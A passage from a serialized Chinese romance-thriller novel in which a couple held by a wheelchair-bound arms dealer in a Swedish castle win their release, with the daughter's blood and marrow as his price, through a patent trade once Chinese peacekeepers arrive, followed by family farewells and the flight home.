二楼大厅里瞬间只剩下了江晚絮、顾彦廷,以及尼克和他的一个贴身护卫。
“至于你们……”尼克转动轮椅,“我可以再给你们一点时间。”
顾彦廷侧过身牵住江晚絮的手。
“别怕。”顾彦廷低头轻声哄道。
江晚絮深吸了一口气,“有你在,我什么都不怕。”
两人冷着脸,跟着尼克进了电梯。
第298章 两年前的研究
电梯上行,停在了古堡的三楼。
尼克将他们带到了走廊尽头的一个房间。
这是一个连窗户都没有的简陋房间,除了一张铁质的小床,别无他物。
“环境简陋了些,不过我想二位不会介意的。”
尼克停在门口。
顾彦廷牵着江晚絮走进去,转身看向尼克。
“你真的认为,你把我们关在这里,外面的人就拿你没办法吗?”顾彦廷唇角勾起一抹讥讽的弧度。
尼克哈哈大笑起来。
“顾总,别虚张声势了。我知道外面现在围满了你们国家的维和官兵和瑞典警方。”
尼克笑得眼泪都要出来了。
他摇了摇头擦了擦眼角。
“但那又怎样?这可是我的私人领地,没有搜查令,他们根本不敢进来。如果不是武装部队,对我根本造不成任何威胁。”
他有恃无恐。
“是吗?”
顾彦廷冷嗤。
“尼克,你大概是离开文明社会太久了,连脑子都退化了。”
顾彦廷上前一步,“你以为你**的是谁?你敢动我们一根头发,你信不信,我背后的国家,绝对不会冷眼旁观。这一点,你应该比我更清楚。”
尼克脸上的笑容僵了一下。
没错,他很清楚**华国公民会带来什么后果。
他经营了三十年,都没能打通华国的武器市场,反而还被海关查缴过,损失了上亿美元。
但现在,眼瞅着就要成功了,让他放弃,他做不到。
“那就让他们来试试好了。”尼克压下心底的不安,继续威胁顾彦廷,“在那之前,顾总,你最好还是好好考虑一下我的条件。毕竟,我的耐心是有限的。”
说完,尼克拉上了铁门。
一直到轮椅的声音消失不见,顾彦廷紧绷的身体这才微微放松了一些。
他转身,还没来得及开口,江晚絮已经红着眼眶扑了过来。
“快让我看看!”
江晚絮的声音有些发颤,她手忙脚乱地去解顾彦廷黑衬衫的扣子。
刚刚气氛紧张,她都没有仔细去看顾彦廷的伤势。
顾彦廷的下颌处有一道血痕,嘴角的淤青触目惊心。
左边衬衫的袖子上沾满了血迹,看上去十分狼狈。
“我没事,晚晚,皮外伤。”顾彦廷立刻用右手抓住她颤抖的手,想要阻止她的动作。
“放手!”江晚絮眼底泛起水光,语气不容拒绝。
她小心翼翼地掀开他的袖子。
一道长达十公分的刀伤赫然出现在眼前,虽然被简单处理过,但看上去依然触目惊心。
江晚絮感同身受,疼得无以加复。
“怎么弄的?”她咬着唇,不忍心再看,却又忍不住去看。
“一点小伤,已经不疼了。”顾彦廷由着她看着,轻描淡写地将这几天的经历一笔带过。
从他追踪绑匪上了那艘离岸的游轮,到在游轮上遭到涅墨西斯余党的伏击,再到他因为寡不敌众被迫跳海,最后被尼克的人“顺手”捞了上来。
虽然他说得云淡风轻,但江晚絮知道,过程一定无比惨烈。
“那你呢?”顾彦廷不忍心看她心疼自己,拉开了话题,“有没有受伤?那个人是谁?”
“我很好。”江晚絮擦了擦眼角,依偎在他怀里,“安安在外面,和姐姐在一起。只要我们出去,就能一家团聚。”
顾彦廷听罢,轻轻笑了。
是啊,一家团聚。
他如此拼命,不就是为了这四个字?
两人快速交换了彼此掌握的信息。
所有的线索拼凑在一起,事情的轮廓也渐渐清晰。
涅墨西斯想要安安,是为了晨曦家族的基因;而尼克半路截胡,把他们引到这里,也是另有图谋。
房间里安静了一会儿。
江晚絮抬起头,盯着顾彦廷问道,“尼克的交换条件,到底是什么?”
顾彦廷下意识地移开视线,喉结滚了滚,“晚晚,这件事我来解决,你不需要……”
“顾彦廷!”江晚絮打断他,“我们是夫妻。你答应过我,无论生死,都不再瞒我。他到底要什么?”
顾彦廷看着她坚定的眼神,叹了口气,拉着她在那张小床上坐下。
“你还记得刚才史密斯说的话吗?”顾彦廷沉声开口。
“十年前,死在非洲的**商,‘血眼’尼克?”江晚絮回忆道。
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顾彦廷点了点头。
“尼克当年确实险些死在非洲。”
“十年前,他倒卖**触及了太多国家的底线,被多国联合通缉。再加上一个同行的追杀,他在一次交易中被人埋伏,然后……发生了一场**。”
顾彦廷顿了顿,把江晚絮往怀里揽了揽。
“那场**很惨烈,所有人都以为他**。但很显然,他利用了这次**,借机逃生。只不过,因为这次**,他的双腿几乎成了摆设。”
难怪刚才在下面,尼克一直坐在那把高背轮椅上。
她还以为尼克是有什么特殊癖好,在模仿某个黑帮大佬摆阴沉呢。
江晚絮猜测,“所以……他想重新站起来?”
这是一个很符合逻辑的推断。
一个曾经叱咤风云的**大鳄,被迫在轮椅上度过十年,虽然拥有巨额财富,但却再也无法自由行走……
可是……
“这跟我们有什么关系?”江晚絮不解地看着顾彦廷,“我又不是医生。就算我是,他的腿如果十年前就被炸断了,现在的医学条件也根本不可能让他重新长出一双腿来啊。”
顾彦廷看着江晚絮,眼神突然变得很复杂。
“晚晚,”顾彦廷的声音有些沙哑,他伸手,轻轻将她耳边的一缕碎发挽到脑后,“你记不记得……两年前,你**家逼到绝境,被爆抄袭的那个研究?”
听到这句话的瞬间,江晚絮瞬间就想起了那个让她险些失去一切的论文。
两年前,她还没有和叶寒离婚。
江芊妤拿走她的报告,还反咬一口说她抄袭。
因为这件事,瑞澜研究院还拒绝了她的入职申请。
也是因为这件事,她与叶寒离婚,与江家**……
“晚晚,别想了。都过去了。”
顾彦廷满眼心疼地把她抱紧。
江晚絮舔了舔嘴唇,摇着头苦笑。
“过去的事情,已经对我造不成伤害了。顾彦廷,我记得那个研究……是关于基因修复的……”
她当时用小白鼠做了很多实验,虽说没有得出最终结论,但这篇论文,的确引起了轰动。
尼克,是为了这个?
第299章 划算的买卖
两年前**芊妤偷走的论文,正是关于“人体端粒酶活性与基因断点修复”的初阶设想。
虽然那个研究当时还没有得出最终的结论,甚至在当时的主流医学界看来有些异想天开。
但江晚絮在最后给出了一个猜想:只要能够找到较为完美的基因序列,有百分之三十的可能性,实现这一设想。
“他看过那个研究……”江晚絮猜测,“尼克是不是觉得,只要按照我的研究继续下去,他的双腿就能重新站起来?”
难怪他会出手帮助梁霁川刻意打压晚星科技,又从涅墨西斯手里救下顾彦廷。
他做这一切,全都是为了自己的腿。
江晚絮抬起头,看向顾彦廷。
“所以,他开出的条件是我,对吗?”
江晚絮理所当然地开了口,“他想把我扣在这,逼我给他做研究……”
江晚絮一边说,一边觉得自己确实太惨了点。
难怪作者会被读者骂变态,这翻来覆去的,也太虐了。
“如果只是这样……”江晚絮深吸了一口气,“顾彦廷,没关系的。我答应他。”
“江晚絮!”
顾彦廷猛地拔高了音量,“你知不知道你在说什么!”
“我知道!”江晚絮也红了眼眶,“只要能换你平安出去,只要你能回到安安身边,我什么都愿意!顾彦廷,我不能失去你,你懂吗?!”
她已经经历过一次地狱了,她不怕再跌进去一次。
只要她爱的人能活在阳光下。
“你想都不要想!”
顾彦廷一把将她扯进怀里用力地抱着她。
“我如果连自己的女人都护不住,还要靠你去给一个疯子卖命来换条活路,那我不如现在就一枪崩了我自己!”
“可我们现在出不去!”江晚絮在他怀里挣扎,哭着喊道,“除了这个,我们还有什么筹码?他要的是我的研究!”
“他要的不是你!”
顾彦廷突然嘶吼出声,一双眼睛红得滴血。
“晚晚,你清醒一点!他要的不是你!”
江晚絮愣住了。
她的挣扎瞬间停止,呆呆地看着顾彦廷。
“不是……我?”
江晚絮的大脑瞬间空白。
如果尼克是为了基因修复的研究,除了她这个原作者,还有谁能帮他?
看着江晚絮茫然的眼神,顾彦廷痛苦地闭了闭眼。
“晚晚,你的那个研究,最核心的难点是什么?”顾彦廷声音嘶哑地问。
江晚絮下意识的回答,“必须找到一份特殊的、接近完美的基因作为引子……”
说到这里,她顿住了。
被疯狂追杀近六十年的陈曦。
母亲方颖的惨死。
亲舅舅陈默**安安。
这所有的一切,都是因为晨曦家族的基因数据……
她浑身的血液在一瞬间被冻结,四肢百骸冷得像冰一样。
她的嘴唇哆嗦着,连牙齿都在打战。
“他……”江晚絮瞪大了眼睛,“尼克他……他要的……”
顾彦廷痛苦地点了点头。
“是。他要的是那个引子。他从始至终想要的,只有安安……我们的女儿。”
“安安……他要安安?”
江晚絮只觉得大脑“轰”的一声,炸成了碎片。
她开始拼命地摇头。
“不……不行!”
江晚絮揪住顾彦廷的衣领,声音尖锐,“不可以!顾彦廷,绝对不可以!”
“晚晚,冷静!晚晚!”
顾彦廷一下又一下地顺着她的脊背,“没人能动得了安安。我发誓,除非我死。”
江晚絮埋在他的胸口,牙齿咬得咯咯作响。
她太知道被人当成“移动血库”和“基因药引”是什么滋味了!
曾经,她**家人按在手术室给江芊妤捐骨髓,为此还**明宇推下楼梯。
她是个成年人都被折磨得痛不欲生,她的安安才十三个月大啊!
“谁敢动我的女儿,我就杀了他……”
她已经从地狱里爬出来一次了,她不能让自己的女儿也跌进这样的深渊。
就在江晚絮失声痛哭的时候,房门打开了。
古堡管家笑眯眯地走了进来。
他手里端着一个精致的托盘。
“顾先生
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,江小姐。”管家微微鞠躬,语气温和,“不知道我们老爷子提出的条件,两位考虑得怎么样了?”
“滚。”
顾彦廷冷冷地睨着他。
“告诉他,”江晚絮从顾彦廷身后探出身,咬牙切齿地道,“我们是不会同意的!”
斩钉截铁,没有丝毫回旋的余地。
老管家叹了口气。
“江小姐,话不要说得这么绝。主人可是带着极大的诚意来和您做这笔交易的。”
说着,管家从托盘的底层,抽出一份薄薄的牛皮纸文件袋,递向江晚絮。
“为了表示诚意,老爷特意让我把这个送给您看。”
顾彦廷眉头微皱,直接伸手接过,冷着脸单手拆开了文件袋。
里面的资料滑落出来,最上面的一张,赫然贴着一张女人的照片。
——沈曼。
江晚絮愣了一下,随即眼底闪过一丝嘲弄。
沈曼,这个名字她可太熟了。
半年前,沈曼顶着海外企业家的头衔,带着大笔资金高调进入华国市场,指名道姓要和江晚絮的晚星科技合作。
当时江晚絮就觉得不对劲。
一个搞风投的,为什么对基因链的数据那么执着?
江晚絮冷笑出声,“怎么?你们K先生的诚意,就是拿一个手下败将的资料来给我解闷?”
管家微笑着摇了摇头。
“江小姐,您是聪明人。我相信您和顾先生应该查过她的身份吧?您以为,她二十七岁之前的资料,为什么是一片空白?”
江晚絮瞳孔微缩。
“沈曼太蠢了。”
管家微微倾身,继续抛出诱饵。
“当初老爷曾经告诫过她,让她用平等身份跟您谈合作。谁知道她只想着报仇。”
“江小姐,除了这份情报,老爷还交代了。只要江小姐答应这场交易,我们老爷可以动用一切资源,直接切断环城科技的所有资金链。”
管家笑得越发慈祥起来,“只要老爷一句话,环城科技明天就会破产,你们晚星科技,将成为业内无可匹敌的绝对霸主。江小姐,这笔买卖,难道不划算吗?”
第300章 犯我中华者,虽远必诛!
用环城科技的破产,来换安安?
江晚絮听完,不仅没心动,反而气得想笑。
“老头,”江晚絮语带嘲讽,“你是觉得我没见过钱,还是觉得顾彦廷要破产了?区区一个环城科技,我还没看在眼里。”
“更何况……”
一直沉默的顾彦廷突然开口,
“如果我没记错的话,环城科技的现任总裁梁霁川,可是你们K先生的私生子吧?”
“拿自己亲儿子的产业来当筹码,他为了自己这双废腿,还真是无所不用其极。”
管家脸上的笑容,终于因为“私生子”三个字,出现了一丝丝的僵硬。
梁霁川的身份,知道的人绝对不超过三个。
这个远在华国的小子,是怎么知道的?!
管家心里一阵惊骇,但他很快调整了表情,恭敬地后退了一步鞠了一躬。
“顾先生,江小姐。老爷的条件和诚意都已经摆在这里了。时间还有很多,两位可以慢慢考虑。”
说完,他转身对着门外招了招手。
两个仆人端着丰盛的饭菜走进来,放在了地上。
“请慢用。”
铁门再次关上。
古堡一楼大厅。
十几个荷枪实弹的黑衣保镖挨着墙站了一圈。
张锐、小李,还有国际刑警史密斯,被没收了所有通讯工具和武器,坐在大厅中央的地毯上。
气氛有些压抑。
小李扫了一眼周围的保镖,随后用余光看向张锐,眉头微挑。
【怎么办?】
张锐没有说话。
他低头看了一眼自己的腰带,然后对着小李点了点头。
小李紧绷的神经顿时松了一丝。
张队那条皮带,不仅暗藏着极其锋利的战术刀片,最重要的,皮带扣里还镶嵌着最新研发的微型求救发射器。
现在,他们只需要等。
“该死的!尼克简直是在践踏法律!”
史密斯显然没有华国警察这种定力。
他越想越气,最后竟然一拳砸在地板上,蓝色的眼睛里全都是血丝。
“尼克!有种你现在就杀了我!”
史密斯的吼声在空旷的大厅里回荡。
旁边的保镖眼神一冷,直接上前,用**狠狠砸向史密斯的肩膀。
“闭嘴!再吵毙了你!”
“来啊!开枪啊!”史密斯不顾肩膀的剧痛,梗着脖子怒吼,“十年前,我最好的三个兄弟为了追查你的下落,死在非洲的**里!今天落到你手里,我就没打算活着回去!”
“史密斯警官!冷静!”
张锐一把拽住快要失控的史密斯,硬生生将他按回地上。
“你现在激怒他们没有任何好处!”
张锐压低了声音劝他,“你**,你兄弟的仇谁来报?”
史密斯知道张锐说得没错,可他就是咽不下这口气。
他的那三个好兄弟,死的时候连尸体都没留下。
当初他就向上面汇报过,那个**现场没有任何证据证明尼克**。
但上头根本不让他继续追查。
史密斯这十年来,一直都在秘密搜集尼克还活着的证据。
这次与华国警方合作,也是他自己主动提出的,为的就是证明自己的猜测。
张锐劝住了史密斯,眉头却锁得更紧了。
他抬头看了一眼通往二楼的楼梯,心急如焚。
求救信号已经发出去了,救援肯定在路上。可是顾彦廷和江晚絮还在上面……
那可是国内重点保护的科研人才,顾彦廷更是国内数一数二的人物,要是他们俩在这里出了什么岔子,后果不堪设想!
夜幕已经降临。
距离古堡几公里外的林地里,停着瑞典警方的防弹警车。
许甜抱着熟睡的安安,眼睛眨也不眨地盯着远处的古堡。
“怎么还不出来……怎么还没消息?”
她好不容易才和江晚絮这个双胞胎妹妹相认,晚絮的前半生受了那么多苦,好不容易才有了顾彦廷,有了安安,有了新生活……
“许小姐,您先别慌。”
坐在前排副驾驶的,是从国内随行跟来的另一位老刑警,赵局。
赵局刚挂断电话,转过头,神色异常严肃,却又带着让人心安的沉稳。
“国家
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外交部已经连夜启动了紧急预案,刚刚直接和瑞典官方高层进行了交涉。”
赵局看着许甜,神情肃穆,“瑞典方面已经同意,并开放了特殊权限,允许华国维和官兵直接进入瑞典境内执行救援任务。”
许甜抬起头,眼里闪过一丝希冀,“真的吗?军队进来了?”
“不止。”赵局沉声补充,“为了防止对方狗急跳墙,借道邻国边境逃窜。大使馆那边刚刚也回复了消息,我们已经提前与丹麦外交部做了严正交涉,丹麦那边已经安排了警力前往边境。”
赵局转过头,看着窗外漆黑的夜色,继续道,“许小姐,你记住,站在你们身后的,不是某一个家族,而是整个华国。”
虽然有国家做靠山让人无比安心,但许甜低头看着怀里的安安,眼泪还是忍不住砸了下来。
“可是……万一她被打了呢……”
时间,一分一秒的过去。
晚上八点整。
夜空中突然传来了极其轻微,却又密集震撼的轰鸣声。
而是重型装甲运兵车的引擎声!
“来了!”赵局精神一振。
只见远处的地平线上,一队全副武装、涂装着迷彩与华国国旗的防暴车队朝着他们的方向驶来。
整整一百名荷枪实弹的华国维和官兵,如同神兵天降,出现在众人面前。
为首的指挥官王队从车上跳下。
“这就是那个十年前诈死的**头子老巢?”
王队当年还在基层的时候,受过顾家老太太的恩惠,算是顾家的半个旧识。
这次接到外交部命令,他可以说是带着满腔怒火来的。
随他一起下车的,还有两名西装革履的华国外交部专员,以及几名国际记者。
事情闹到这一步,这已经不是一起简单的**案了。
这是华国在向全世界展示态度——犯我华国公民者,虽远必诛!
古堡外拉起了明晃晃的警戒线,高音喇叭直接架了起来。
而这一切,虽然身在三楼密室的江晚絮和顾彦廷听不到,但被关在一楼大厅的张锐等人,却听得清清楚楚!
第301章 成交
张锐和小李,在听到装甲车轰鸣声的第一时间,就将目光转向了窗外。
史密斯也凑了过去。
看着远处装甲车上神圣的红色,他不可置信地长大了嘴巴。
“老天……你们国家……为了四个人,竟然直接派了军队过来?!”
这在他们国家,简直是天方夜谭!
小李噘着嘴一脸得意,“那当然!”
张锐也舒了口气。
但他比小李想得多。
这样的压力之下,尼克如果破釜沉舟直接杀了江晚絮和顾彦廷怎么办?
三楼,监控室。
尼克盯着屏幕里的华国维和官兵,脸色阴沉。
他虽然狂妄,但他不傻。
他怎么也没想到,华国竟然真的会为了三四条人命,就出动官兵直接对上来!
他以为在瑞典的地盘上,华国就算交涉,走外交程序也得扯皮个十天半月。
可这才几个小时?人家直接把军队开到他家门口了!甚至连国际记者都带来了……
尼克气得一把捏碎了手里的茶杯。
眼下他已经是骑虎难下。
他有人也有武器。
可他确信,自己的那点子人手,或许鹰酱他们还真的会怕。
但华国……
说句老实话,如果他敢开第一枪,他估计自己连第二天的太阳就见不到。
“推我过去。”
他咬牙切齿地吩咐管家。
铁门再次被打开。
看到尼克阴沉着一张脸进来,顾彦廷立刻就猜到外面一定发生了什么。
他一脸戏谑地看着尼克。
尼克没有理会顾彦廷,而是看向江晚絮。
“江小姐,我们各退一步,如何?”
尼克语气柔和,满脸的慈祥,看上去很好说话的样子。
江晚絮冷冷地看着他,没有说话。
她知道,尼克如此急切,一定是遇到了麻烦。
而这个麻烦,对她和顾彦廷来说,至少也不会成为坏事。
果然,尼克见他们没有说话,内心暗骂了两句小狐狸,这才压着怒气开口。
“我只要抽取小丫头五百毫升的血液,以及……100毫升的初生骨髓。”
“只要你答应这个条件,我保证把你们安然无恙地送出去。如何?”
江晚絮浑身发抖,眼眶猩红。
她在听到“血液”两个字的时候,就差点冲上去咬人了。
可她知道自己不能。
顾彦廷说过她太情绪化,读者也受够了她的无脑。
她要尽可能克制自己,不去做贴合人设的行为。
江晚絮连着做了好几个深呼吸,才冷静下来。
她抬头看向顾彦廷。
顾彦廷也看着她。
有了这一瞬间的眼神交汇,顾彦廷便快速做出了反应。
“呵。”
顾彦廷笑着理了理袖口眼神轻蔑。
“五百毫升血?”
他凉凉地扫了一眼尼克,“异想天开。”
尼克阴沉地道,“顾先生,这是唯一的交易条件。你应该清楚我的手段。”
顾彦廷根本没有理会他的威胁。
“你是不是坐太久,脑子也跟着萎缩了?”
顾彦廷冷笑一声,反过来威胁起了尼克,“我相信我的国家不会就这样坐视不理。”
“难不成,你想同归于尽?好不容易苟活了十年,舍得死吗?”
尼克的脸色瞬间变得铁青。
他什么时候被人这样嘲讽过?!
“顾彦廷!”尼克咬牙切齿,“你不要太嚣张!就算外面有军队,但在他们冲进来之前,我有足够的时间杀了你们!”
顾彦廷敏锐地捕捉到了他所说的“军队”二字。
看来,大使馆和外交部已经介入了。
那么……他们就可以拿到主动权。
“是吗?”顾彦廷直起身,“那你大可以试试。”
尼克还想赌。
赌顾彦廷不敢拿江晚絮和女儿的生命冒险。
可他看着顾彦廷那坚定的样子,突然就想起了几年前看到的一个新闻。
当年L国内乱,无数国人在L国生死难测。
可华国迅速就组织了上百架飞机和直升机赶到L国,接走了散落在L国各处的近四万名华国侨民。
不仅如此,他们还派出了军舰随行保护。
那时,他还曾和自己的保镖嘲笑过华国
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小题大做。
即便他们什么也不做,也不会有人指责华国。
毕竟……就连鹰酱都关闭了所有外交通道,没有做出任何反应。
没想到多年后的今天,他就亲身感受到了华国对同胞的这种近乎偏执的守护。
如果这个时候他选择鱼死网破,这些年苦心经营的一切,真的就要毁于一旦了。
“不过……”顾彦廷慢悠悠地开口,“我觉得我们可以选择合作。”
尼克眯起眼睛:“什么意思?”
顾彦廷嘴角勾起,“你想想利用初生干细胞重塑神经,对吧?”
被戳穿心思,尼克并没有反驳,只是冷冷地看着他。
“其实,根本不需要那么麻烦。”
顾彦廷语出惊人,“我名下的生物实验室,刚刚研发出了一款针对神经坏死和肌肉萎缩的新型药剂,已经进入了临床三期,效果……很惊人。”
“你……你有这方面的研究专利?”尼克的声音都有些发颤。
“当然。”
顾彦廷似笑非笑,“这项技术,全球独家。只要我想,我可以把这项专利……转让给你。”
江晚絮抬头看向顾彦廷。
那是顾氏的核心机密!
“彦廷……”江晚絮下意识地想阻止。
顾彦廷给了她一个安抚的眼神,然后转头看向尼克。
“怎么样?这项专利,不仅可以让你重新站起来,还能给你带来不少财富。”
“一份专利,换我们平安离开。”
尼克心动了。
是真的心动了。
那个小丫头的骨髓能不能治好他,还需要经过大量的实验与研究,最终能不能成功,还是个未知数,只是个理论上的可能。
但顾彦廷手里的成熟专利,确实实打实的。
而且,如果真的杀了顾彦廷和江晚絮,华国那边就更加不会善罢甘休了。
权衡利弊,尼克哪怕再不甘心,也知道该怎么选。
“好。”
尼克从牙缝里挤出一个字,“成交。”
顾彦廷轻蔑一笑。
他转身,走到江晚絮身边,牵起她的手。
“走,我们回家。”
第302章 后会无期
古堡的大门在上百名维和官兵与警察的注视中,终于缓缓打开。
夜风灌了进来,带着森林特有的清冷气息。
江晚絮下意识地瑟缩了一下。
“别怕,没事了。”
顾彦廷牵着她的手,轻声安慰。
两人刚走出电梯,张锐回头看到他们,立刻就走过来询问。
“江小姐,顾总,没事吧?对方是不是提了条件?你们没有答应吧?千万不能答应!”
张锐一脸急切。
一旁的史密斯却发现了两人神情放松,他立刻就在内心做了一番猜测。
“江小姐,”他不确定地开口,“是不是没事了?”
江晚絮笑着点头,“对,我们可以走了。”
“啊?”
小李一脸茫然,“为什么?”
张锐眯着眼睛看着顾彦廷。
顾彦廷一脸淡然。
张锐见过太多太多上流社会的大佬,这样淡然的神情,他看见过无数次。
他猜,一定是顾彦廷与尼克已经达成了某种和解。
只不过……顾彦廷给出的,并不是尼克最想要的,却又是他别无选择的。
“好了,小李。”张锐拍了拍小李的肩膀,整个人也跟着放松下来,“咱们走吧。”
史密斯看向顾彦廷的眼神已经变成了敬佩。
顾彦廷没有多废话,带着江晚絮径直往外走。
管家推着尼克的轮椅跟在后面送行。
哪怕心里恨得牙根痒痒,尼克脸上依然挂着淡淡的笑容。
“顾先生,慢走。希望我们的合作愉快。”
顾彦廷连个眼神都没给他。
当他们跨出古堡大门的那一刻。
眼前的景象,让江晚絮的泪水瞬间决堤。
百米外,雪亮的探照灯将黑夜照得如同白昼。
十几辆防暴装甲车整整齐齐地停在外面。
而在那些装甲车上,一面面鲜红的旗帜,在夜风中猎猎作响。
那是华国的国旗!
那是她的祖国!
在异国他乡,在生死边缘,看到这一抹红,那种震撼和安全感,真的无法用言语来形容。
全副武装的维和官兵都抱着枪,神情严肃地看着古堡的方向。
“晚晚!晚晚!”
呼喊声传来,许甜抱着安安冲过了警戒线。
“姐……”
江晚絮踉跄着迎了上去。
“没事了……没事了……”
许甜再也绷不住,哭得泣不成声。
她一向都是个泰山崩于前而面不改色的人。
但这一次,她真的害怕了……
她和晚晚虽然才相认不到一年,而且聚少离多。
可双胞胎之间的连接就是那么神奇……她渐渐地,已经对江晚絮有了些莫名的依赖。
安安似乎也感受到了妈妈的气息,虽然还在睡梦中,却挥舞着小手哼唧了两声。
江晚絮接过女儿,失声痛哭。
差一点,只差一点点她就要失去她了。
“妈妈在……妈妈在……”
江晚絮语无伦次地呢喃着,泪水打湿了安安的小脸。
这一刻,所有的坚强都崩塌了。
她只是一个差点失去孩子的母亲。
赵局和王队大步走了过来。
两人对着顾彦廷和江晚絮庄重地敬了一个军礼。
“顾先生,江女士,让你们受惊了。”
赵局的声音铿锵有力,“祖国接你们回家。”
江晚絮抬起头,透过朦胧的泪眼,看着眼前这些年轻而坚毅的面孔。
这个世界上,除了顾彦廷,唯一会跨越**山河护她周全,就是她的祖国。
“谢谢……谢谢……”
江晚絮哽咽着重复着这两个字。
顾彦廷揽住她的肩膀,对着赵局点了点头。
“多谢。”
即使狼狈,他身上那种矜贵的气质依旧不减分毫。
但他看向那些年轻士兵的眼神里,多了几分真诚的敬意。
古堡门口,尼克的假笑终于维持不住了。
他看着那飘扬的五星红旗,看着那全副武装的军队,眼底闪过了一丝深深的忌惮。
“撤。”
他阴沉着脸,让管家把自己推回去。
这场博弈,是他输了。
不仅没拿到骨髓,还被狠狠地羞辱了一番。
至于顾彦廷说的那个专利……
尼克冷笑一声。
顾彦廷给的东西,能有好?
但他没得选。
就像顾彦廷说的,这是他唯一的选择。
两天后,斯德哥尔摩。
维和部队的车队把江晚絮几人送到了陈曦的住处。
陈曦坐在沙发上,眼眶泛红,手足无措。
“晚絮……甜甜……”
她颤
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抖着伸出手,想要去拉江晚絮的手。
许甜挡在了江晚絮面前,避开了陈曦的手。
“外婆。”许甜的声音很淡,“我们就是来看看你,顺便告个别。”
陈曦的手僵在半空中,“你们……这就要走了吗?不多住几天吗?外婆还没给你们做顿饭……”
“不用了。”许甜打断了她的话,“我说过了,就是来告个别。”
陈曦的嘴唇哆嗦着,“甜甜,晚絮,外婆知道……外婆对不起你们……”
“外婆对不起你们的妈妈……”
提到妈妈,江晚絮原本平静的脸上,终于有了一丝变化。
“如果你真的觉得对不起,当初为什么不回来找她?”
江晚絮的声音很轻,却字字诛心。
“那时候,你明明连死都不怕。可是后来呢?你知道妈妈在江家过的是什么日子吗?你知道我小时候是怎么过来的吗?”
江晚絮说着便站了起来,声音也不由自主拔高了几分。
“你有能力救妈妈,你有能力救我们,可是你却什么都没做。”
“你躲在这里,守着你的平静生活,眼睁睁地看着你的女儿被折磨致死,看着你的外孙女在地狱里挣扎。”
陈曦捂着脸,痛哭失声。
“我……我以为……我以为**嵩会对你们好……”
“你以为?”许甜冷笑了一声,眼里满是失望,“外婆,这世界上最廉价的借口,就是‘我以为’。”
“你不是不知道,你只是不想面对。”
“所以你选择了逃避。”
许甜的话,让陈曦长久以来沉静的内心寸寸碎裂。
这几年,她一直都在后悔。
可是后悔有什么用?
死去的女儿能活过来吗?
受尽折磨的晚絮能忘掉那些伤痛吗?
不能。
一切都太晚了。
江晚絮站起身,看了她一眼,冷声道,“我们走了,以后,应该不会再见面了。保重。”
姐妹俩一前一后地往门口走去。
“晚絮!甜甜!”
陈曦追了两步,却被顾彦廷挡住了去路。
“陈老夫人,请留步。晚晚前半生受的苦已经够多了,我不希望任何会让她痛苦的人再出现在她面前。”
“包括你。”
顾彦廷说完,转身离开了公寓。
第303章 回来就好
离开陈曦家后,江晚絮主动要求再去看一眼陈默。
此时的陈默,还待在警局的拘留室。
其实她自己也不知道来找陈默到底为了什么。
也许……就是跟过去曾经告别吧。
“你……还好吗?”
她坐在桌前,轻声开口。
陈默轻抬了抬手将**露了出来,“除了没办法做扩胸运动,吃得好,睡得也好。”
江晚絮点了点头,“我们要回去了。”
陈默垂眸,没有说话。
他沉默了许久。
久到江晚絮以为他不会再说话了。
“晚絮……”
就在江晚絮准备起身离开的时候,他抬起头,眼神有些复杂,“方颖……她死的时候,痛苦吗?”
江晚絮苦笑摇头,“我刚出生她就**,痛不痛苦,我从哪儿知道去?”
陈默怔了一下,才反应过来自己问了句什么样的蠢话。
良久,他才发出了一声长长的叹息。
“走吧。”
陈默背过身去,不再看他们,“以后……好好过日子。”
江晚絮盯着他的背影看了一会儿,最终什么也没说,牵着顾彦廷的手,离开了警局。
阳光洒在脸上。
有些刺眼,却也格外温暖。
江晚絮深深地吸了一口气,却有些茫然。
“累了吗?”
顾彦廷侧头看她,眼里满是心疼。
江晚絮摇了摇头,“不累。顾彦廷,我们回家吧。”
“好。”
顾彦廷温柔地应道,“回家。”
一天后,机场。
大使馆的工作人员和维和官兵正在做最后的交接。
许甜和她的未婚夫马克,推着行李车送江晚絮和顾彦廷。
“姐,你真的不跟我们一起回国吗?”
江晚絮拉着许甜的手,有些不舍。
许甜笑了笑,“我还有些画展的事情要处理。”
她看了一眼身边的马克,“而且,马克这边的生意也走不开。等忙完了这一阵,我就回国去看你和安安。”
“你要是受了委屈,一定要告诉我。”
说着她还斜睨的顾彦廷一眼。
江晚絮破涕为笑。
“知道了。”
顾彦廷在一旁抱着安安看着。
安安似乎知道要回家了,在顾彦廷怀里兴奋地手舞足蹈,嘴里咿咿呀呀地喊着“妈妈”。
顾彦廷的心都要化了。
“行了,快登机吧。”
许甜推了推江晚絮,“别让大家等太久。”
江晚絮点点头,转身准备上楼梯。
走了两步,许甜像是忽然想起了什么,开口喊她。
“哎,对了!”
许甜冲着江晚絮的背影喊道,“晚晚,等等!”
江晚絮停下脚步,疑惑地回头,“怎么了?”
许甜皱着眉头,左右张望了一圈,脸上写满了困惑。
“那个渣男呢?”
江晚絮一愣:“谁?”
“叶寒啊!”
许甜一脸莫名其妙,“他不是失踪了吗?我记得之前听说最初怀疑的可以叶寒。”
“怎么从头到尾他都没出现过?”
“叶寒?”
江晚絮听到这个名字,眉头皱了皱。
她下意识地扭头看向顾彦廷。
顾彦廷也正看着她。
很显然,他也疏忽了这一点。
“先回国。”
顾彦廷想了想,“瑞典还是不安全。后续的事,交给警察吧。”
江晚絮点了点头。
“好。”
许甜和马克目送他们进了安检。
直到坐上飞往京市的专机,看着窗外的云层越来越厚,江晚絮才渐渐放松了神经。
安安在顾彦廷怀里睡着了。
江晚絮看着这一大一小,眼眶再次酸涩。
这两年,顾彦廷为了她,经历了太多太多。
“想什么呢?”
顾彦廷看向她。
江晚絮吸了吸鼻子,扯出一个笑容。
“我在想……如果没有你,我现在会是什么样子。”
“别乱想。”
顾彦廷捏了捏她的掌心,一脸温柔。
江晚絮觉得,自己真的很幸运。
这个世界上,除
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了顾彦廷,再没有第二个人会包容她的怯懦、优柔寡断、反反复复和消极情绪。
十个小时的飞行,仿佛过了一个世纪那么久。
当飞机落地的那一刻,那熟悉的颠簸感,竟然让江晚絮有一种想哭的冲动。
终于回来了。
刚走出VIP通道,一道熟悉的身影就迎了上来。
“晚絮!顾总!”
程宇穿着便装,眼底有着明显的乌青。
看到江晚絮怀里抱着的安安,程宇的眼圈瞬间就红了。
“回来就好……”
程宇声音有些哽咽,想伸手去逗逗安安,手伸到一半却又缩了回来。
“辛苦你了。”
江晚絮看着他憔悴的样子,心里一暖。
在她众叛亲离,被全网黑,被家人唾弃的时候,除了苏洛敏,就只有程宇坚定地站在她这边。
提到苏洛敏……
江晚絮的眼神暗淡了一瞬。
